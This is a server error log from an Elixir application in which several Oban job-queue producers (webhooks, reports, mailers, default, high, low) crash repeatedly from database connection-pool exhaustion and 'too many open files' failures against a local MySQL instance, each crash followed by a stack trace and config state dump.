State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:07:44.239151Z], limit: 5, uuid: "ab727e23-72d1-4a2f-848e-344f6f850a33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:44.239158Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47967>, refresh_timer: #Reference<0.2525715032.1077673987.22845>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:07:44.238137Z], limit: 3, uuid: "aae4a253-14ae-46dc-a941-10cbc4101deb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:44.238144Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47964>, refresh_timer: #Reference<0.2525715032.1068498948.47955>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:07:44.239762Z], limit: 10, uuid: "afaf6410-23ca-4f50-8de3-40b6cf1f1722", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:44.239766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47966>, refresh_timer: #Reference<0.2525715032.1077673987.22866>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:07:44.239653Z], limit: 20, uuid: "488c04c9-c1d3-42bf-ad2d-7277ba1da256", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:44.239659Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47965>, refresh_timer: #Reference<0.2525715032.1077673987.22864>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:07:44.239888Z], limit: 50, uuid: "16fdc901-817f-4c61-9272-2442a31c97d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:44.239895Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.46768>, refresh_timer: #Reference<0.2525715032.1077673987.22878>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:56.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:58.088000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:58.106000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:01.014000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:01.229000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:08:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:07:56.239769Z], limit: 20, uuid: "09c55d6f-ba07-4f20-9156-0cbca86d4ce6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:56.239774Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.23101>, refresh_timer: #Reference<0.2525715032.1077673987.23079>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:07:56.239995Z], limit: 50, uuid: "b3d0d26c-b220-4a66-8800-f2e39c60d647", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:56.240001Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.23104>, refresh_timer: #Reference<0.2525715032.1077673987.23085>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:08.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:07:56.237873Z], limit: 5, uuid: "bc99fef7-9142-454f-9217-e98eabc8fdd2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:56.237879Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.46953>, refresh_timer: #Reference<0.2525715032.1099431938.46936>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:07:56.239612Z], limit: 10, uuid: "6a2fd57d-6d44-4fb3-933f-6bdf1532dde1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:56.239617Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.23102>, refresh_timer: #Reference<0.2525715032.1077673987.23073>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:08:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
